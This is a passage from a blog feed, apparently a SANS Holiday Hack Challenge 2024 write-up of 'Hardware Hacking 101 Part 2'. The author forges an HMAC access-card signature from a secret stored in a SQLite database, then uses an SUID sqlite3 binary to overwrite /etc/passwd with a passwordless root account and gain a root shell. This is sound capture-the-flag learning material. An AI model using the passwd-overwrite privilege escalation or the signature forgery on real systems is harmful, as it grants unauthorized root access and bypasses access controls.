&lt;h2 id=&#34;Gold-Trophy&#34;&gt;&lt;a href=&#34;#Gold-Trophy&#34; class=&#34;headerlink&#34; title=&#34;Gold Trophy&#34;&gt;&lt;/a&gt;Gold Trophy&lt;/h2&gt;&lt;p&gt;For the Gold trophy, I followed the hint by Jewel again: “There’s a tougher route if you’re up for the challenge to earn the Gold medal. It involves directly modifying the database and generating your own HMAC signature.”.&lt;br&gt;Looking at the files, I found &lt;code&gt;access_cards&lt;/code&gt; being a SQLite DB:&lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;slh@slhconsole\&amp;gt; &lt;span class=&#34;built_in&#34;&gt;ls&lt;/span&gt;   &lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;access_cards&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;slh@slhconsole\&amp;gt; file access_cards &lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;access_cards: SQLite 3.x database, last written using SQLite version 3040001, file counter 4, database pages 32, cookie 0x2, schema 4, UTF-8, version-valid-for 4&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;Inspecting its contents I found the &lt;code&gt;config&lt;/code&gt; table containing the HMAC secret and the expected format:&lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;6&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;7&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;8&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;9&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;10&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;slh@slhconsole\&amp;gt; sqlite3 access_cards &lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;SQLite version 3.40.1 2022-12-28 14:03:47&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;Enter &lt;span class=&#34;string&#34;&gt;&amp;quot;.help&amp;quot;&lt;/span&gt; &lt;span class=&#34;keyword&#34;&gt;for&lt;/span&gt; usage hints.&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;sqlite&amp;gt; .tables&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;access_cards  config      &lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;sqlite&amp;gt; SELECT * FROM config;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;1|hmac_secret|9ed1515819dec61fd361d5fdabb57f41ecce1a5fe1fe263b98c0d6943b9b232e&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2|hmac_message_format|&amp;#123;access&amp;#125;&amp;#123;uuid&amp;#125;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3|admin_password|3a40ae3f3fd57b2a4513cca783609589dbe51ce5e69739a33141c5717c20c9c1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4|app_version|1.0&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;A very quick &lt;code&gt;python&lt;/code&gt; script later, I got the signature:&lt;/p&gt;
&lt;figure class=&#34;highlight python&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;6&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;keyword&#34;&gt;import&lt;/span&gt; hmac&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;keyword&#34;&gt;import&lt;/span&gt; hashlib&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;secret_key = &lt;span class=&#34;string&#34;&gt;b&amp;quot;9ed1515819dec61fd361d5fdabb57f41ecce1a5fe1fe263b98c0d6943b9b232e&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;access_uuid = &lt;span class=&#34;string&#34;&gt;b&amp;quot;1c06018b6-5e80-4395-ab71-ae5124560189&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;signature = hmac.new(secret_key, access_uuid, hashlib.sha256).hexdigest()&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;built_in&#34;&gt;print&lt;/span&gt;(&lt;span class=&#34;string&#34;&gt;&amp;quot;signature = &amp;#123;0&amp;#125;&amp;quot;&lt;/span&gt;.&lt;span class=&#34;built_in&#34;&gt;format&lt;/span&gt;(signature))&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;(&lt;span class=&#34;built_in&#34;&gt;env&lt;/span&gt;) thedead@maccos act1-hardware-hacking % python3 generateSignature.py &lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;signature = 135a32d5026c5628b1753e6c67015c0f04e26051ef7391c2552de2816b1b7096&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;Updating the SQLite DB accordingly, got me the Gold:&lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;6&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;7&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;8&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;9&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;10&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;11&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;12&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;13&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;14&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;15&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;16&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;17&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;18&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;19&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;20&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;21&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;22&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;23&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;24&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;slh@slhconsole\&amp;gt; sqlite3 access_cards &lt;span class=&#34;string&#34;&gt;&amp;#x27;UPDATE access_cards SET access = 1, sig = &amp;quot;135a32d5026c5628b1753e6c67015c0f04e26051ef7391c2552de2816b1b7096&amp;quot; WHERE id = 42;&amp;#x27;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;       *   *   *   *   *   *   *   *   *   *   *&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;   *                                             *&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;*      ❄  ❄  ❄  ❄  ❄  ❄  ❄  ❄  ❄  ❄  ❄  ❄  ❄     *&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt; *  $$$$$$\   $$$$$$\   $$$$$$\  $$$$$$$$\  $$$$$$\   $$$$$$\  * &lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  * $$  __$$\ $$  __$$\ $$  __$$\ $$  _____|$$  __$$\ $$  __$$\ *&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;   *$$ /  $$ |$$ /  \__|$$ /  \__|$$ |      $$ /  \__|$$ /  \__| *&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;    $$$$$$$$ |$$ |      $$ |      $$$$$\    \$$$$$$\  \$$$$$$\   &lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;   *$$  __$$ |$$ |      $$ |      $$  __|    \____$$\  \____$$\  *&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  * $$ |  $$ |$$ |  $$\ $$ |  $$\ $$ |      $$\   $$ |$$\   $$ | *&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;*   $$ |  $$ |\$$$$$$  |\$$$$$$  |$$$$$$$$\ \$$$$$$  |\$$$$$$  |   *&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt; *  \__|  \__| \______/  \______/ \________| \______/  \______/  *&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;*         *    ❄             ❄           *        ❄    ❄    ❄   *&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;   *        *     *     *      *     *      *    *      *      *&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;   *  $$$$$$\  $$$$$$$\   $$$$$$\  $$\   $$\ $$$$$$$$\ $$$$$$$$\ $$$$$$$\  $$\  *&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;   * $$  __$$\ $$  __$$\ $$  __$$\ $$$\  $$ |\__$$  __|$$  _____|$$  __$$\ $$ | *&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  *  $$ /  \__|$$ |  $$ |$$ /  $$ |$$$$\ $$ |   $$ |   $$ |      $$ |  $$ |$$ |*&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  *  $$ |$$$$\ $$$$$$$  |$$$$$$$$ |$$ $$\$$ |   $$ |   $$$$$\    $$ |  $$ |$$ | *&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt; *   $$ |\_$$ |$$  __$$&amp;lt; $$  __$$ |$$ \$$$$ |   $$ |   $$  __|   $$ |  $$ |\__|*&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  *  $$ |  $$ |$$ |  $$ |$$ |  $$ |$$ |\$$$ |   $$ |   $$ |      $$ |  $$ |   *&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;*    \$$$$$$  |$$ |  $$ |$$ |  $$ |$$ | \$$ |   $$ |   $$$$$$$$\ $$$$$$$  |$$\ *&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt; *    \______/ \__|  \__|\__|  \__|\__|  \__|   \__|   \________|\_______/ \__|  *&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  *                                                            ❄    ❄    ❄   *&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;   *      *    *    *    *    *    *    *    *    *    *    *    *    *    *         &lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;h2 id=&#34;Funsies&#34;&gt;&lt;a href=&#34;#Funsies&#34; class=&#34;headerlink&#34; title=&#34;Funsies&#34;&gt;&lt;/a&gt;Funsies&lt;/h2&gt;&lt;h3 id=&#34;I-have-no-name-slhconsole&#34;&gt;&lt;a href=&#34;#I-have-no-name-slhconsole&#34; class=&#34;headerlink&#34; title=&#34;I have no name!@slhconsole\&amp;gt;&#34;&gt;&lt;/a&gt;&lt;code&gt;I have no name!@slhconsole\&amp;gt;&lt;/code&gt;&lt;/h3&gt;&lt;p&gt;It took me some time to realize I just had to use the already available &lt;code&gt;hmac_secret&lt;/code&gt; and I eventually found the file &lt;code&gt;entrypoint.sh&lt;/code&gt;:&lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;6&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;7&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;8&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;9&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;10&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;11&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;12&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;13&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;14&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;slh@slhconsole\&amp;gt; &lt;span class=&#34;built_in&#34;&gt;cat&lt;/span&gt; /entrypoint.sh &lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;comment&#34;&gt;#!/bin/bash&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;comment&#34;&gt;# Run the HMAC checking  as root&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;/root/check_hmac &amp;amp;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;comment&#34;&gt;# Get the PID of the background process if needed&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;HMAC_PID=$!&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;comment&#34;&gt;# Switch to the slh user to run the main application&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;su -c &lt;span class=&#34;string&#34;&gt;&amp;quot;/usr/bin/main&amp;quot;&lt;/span&gt; slh&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;comment&#34;&gt;# Optionally wait for the background process (HMAC checking script)&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;built_in&#34;&gt;wait&lt;/span&gt; &lt;span class=&#34;variable&#34;&gt;$HMAC_PID&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;This file was referring to &lt;code&gt;/root/check_hmac&lt;/code&gt; but I didn’t have the rights to access it:&lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;slh@slhconsole\&amp;gt; file /root/check_hmac&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;/root/check_hmac: cannot open `/root/check_hmac&lt;span class=&#34;string&#34;&gt;&amp;#x27; (Permission denied)&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;So I went after &lt;code&gt;suid&lt;/code&gt; executables and found the &lt;code&gt;sqlite&lt;/code&gt; executable:&lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;6&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;7&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;8&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;9&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;10&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;11&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;slh@slhconsole\&amp;gt; find / -perm -4000 -&lt;span class=&#34;built_in&#34;&gt;print&lt;/span&gt; 2&amp;gt;/dev/null&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;/usr/bin/chsh&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;/usr/bin/umount&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;/usr/bin/su&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;/usr/bin/newgrp&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;/usr/bin/gpasswd&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;/usr/bin/mount&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;/usr/bin/chfn&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;/usr/bin/passwd&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;/usr/bin/sqlite3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;/usr/bin/slh&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;I then created myself a user and elevated privileges:&lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;6&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;slh@slhconsole\&amp;gt; sqlite3 /dev/null -cmd &lt;span class=&#34;string&#34;&gt;&amp;quot;.output /etc/passwd&amp;quot;&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;#x27;select &amp;quot;thedead::0:0:root:/root:/bin/bash&amp;quot;;&amp;#x27;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;slh@slhconsole\&amp;gt; su thedead&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;bash: cannot &lt;span class=&#34;built_in&#34;&gt;set&lt;/span&gt; terminal process group (9): Inappropriate ioctl &lt;span class=&#34;keyword&#34;&gt;for&lt;/span&gt; device&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;bash: no job control &lt;span class=&#34;keyword&#34;&gt;in&lt;/span&gt; this shell&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;thedead@98d3ae5e5586:/home/slh# file /root/check_hmac &lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;/root/check_hmac: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=4900f1057c817d78f6abf8c33793107b79dcd1a7, &lt;span class=&#34;keyword&#34;&gt;for&lt;/span&gt; GNU/Linux 2.6.32, stripped&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;Obviously, that led to nothing, but if I exited and restarted the terminal I got a nice user called &lt;code&gt;I have no name!&lt;/code&gt;:&lt;br&gt;&lt;img src=&#34;/2024/11/18/2024-06-02-Hardware-Hacking-101-Part-2/06_02_01_HardwareHacking101Part2_IHaveNoName.gif&#34;&gt;&lt;/p&gt;
&lt;h3 id=&#34;No-route-to-hose&#34;&gt;&lt;a href=&#34;#No-route-to-hose&#34; class=&#34;headerlink&#34; title=&#34;No route to hose&#34;&gt;&lt;/a&gt;No route to hose&lt;/h3&gt;&lt;figure class=&#34;highlight bash&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;6&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;7&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;8&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;9&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;10&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;11&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;12&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;13&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;14&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;15&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;16&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;17&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;In:    elvenconsole@1e000c00&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;Out:   elvenconsole@1e000c00&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;Err:   elvenconsole@1e000c00&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;Net:   &lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;Warning: eth@1e100000 (eth0) using random MAC address - 5e:69:c8:f8:cf:5b&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;eth0: eth@1e100000&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;Hit any key to stop autoboot:  0 &lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;Reindeer_PCIE_SET: gpio[19]=1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;Using eth@1e100000 device&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;TFTP from server 192.168.54.25; our IP address is 192.168.54.5&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;Filename &lt;span class=&#34;string&#34;&gt;&amp;#x27;magic_firmware.bin&amp;#x27;&lt;/span&gt;.&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;Load address: 0x80010000&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;Loading: *&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;North Pole Retry count exceeded; starting again&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;=&amp;gt; ping 127.0.0.1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;Not route to hose&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;</content>
        <category term="SANS Holiday Hack Challenge 2024" />
        <category term="Holiday Hack Challenge" />
        <category term="Holiday Hack Challenge 2024" />
        <category term="Snow-maggedon" />
        <category term="act1" />
        <category term="Hardware Hacking 101" />
        <category term="Jewel Loggins" />
        <category term="Hardware Hacking 101 - Part 2" />
        <updated>2024-11-18T06:02:00.000Z</updated>
    </entry>
    <entry>
        <id>https://holidayhackchallenge.thedead91.com/2024/11/18/2024-06-01-Hardware-Hacking-101-Part-1/</id>
        <title>Hardware Hacking 101 - Part 1</title>
        <link rel="alternate" href="https://holidayhackchallenge.thedead91.com/2024/11/18/2024-06-01-Hardware-Hacking-101-Part-1/"/>
        <content type="html">&lt;p&gt;Difficulty: &lt;span style=&#34;color:red&#34;&gt;❄&lt;/span&gt; ❄ ❄ ❄ ❄&lt;br&gt;Jingle all the wires and connect to Santa’s Little Helper to reveal the merry secrets locked in his chest!&lt;/p&gt;
